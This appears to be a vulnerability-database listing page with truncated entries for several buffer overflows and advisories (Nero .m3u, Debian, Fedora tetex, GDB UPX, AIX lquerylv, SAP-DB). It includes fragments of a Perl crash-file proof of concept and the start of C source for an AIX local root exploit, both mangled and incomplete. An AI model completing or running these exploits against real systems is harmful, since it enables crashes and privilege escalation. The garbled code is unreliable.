NERO Media Player 1.4.0.35b - '.m3u' File Buffer Overflow (PoC)

NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the crash /if not exploited .../ you wont be able to open Nero...

Debian: Security Advisory (DSA-649-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian Security Advisory DSA 034-1 (ePerl)

The remote host is missing an update to ePerl announced via advisory DSA 034-1. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Fedora Core 6 : tetex-3.0-36.fc6 (2007-750)

fix dvips -z buffer overflow with long href 368591 - fix insecure usage of temporary file in dviljk 368611, 368641 - update License and BuildRoot tags - fix t1lib flaw CVE-2007-4033 352271 - fix CVE-2007-4352 CVE-2007-5392 CVE-2007-5393, various xpdf flaws 345121 - xdvi won't segfault if DVI file...

GDB Process_Coff_Symbol UPX文件缓冲区溢出漏洞

GDB是一款开放源代码的命令行调试工具。 GDB处理UPX文件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于“coffread.c”解开UPX压缩的文件时存在边界错误，恶意的UPX文件诱使用户调试可导致以应用程序进程权限执行任意指令。 GNU GDB 6.6 目前没有详细解决方案提供： http://www.gnu.org/software/gdb/gdb.html 可参考如下测试文件： http://www.xwings.net/private/advisory/gdbupx.tar.bz2...

AIX lquerylv Local Root Buffer Overflow Exploit

No description provided by source. include stdio.h include stdlib.h include string.h char prog100="/usr/sbin/lquerylv"; char prog230="lquerylv"; extern int execv; char createvarchar name,char value char c; int l; l=strlenname+strlenvalue+4; if ! c=mallocl perror"error allocating";exit2;;...

SAP-DB / MaxDB database WebDBM buffer overflow

Buffer overflow on oversized database name...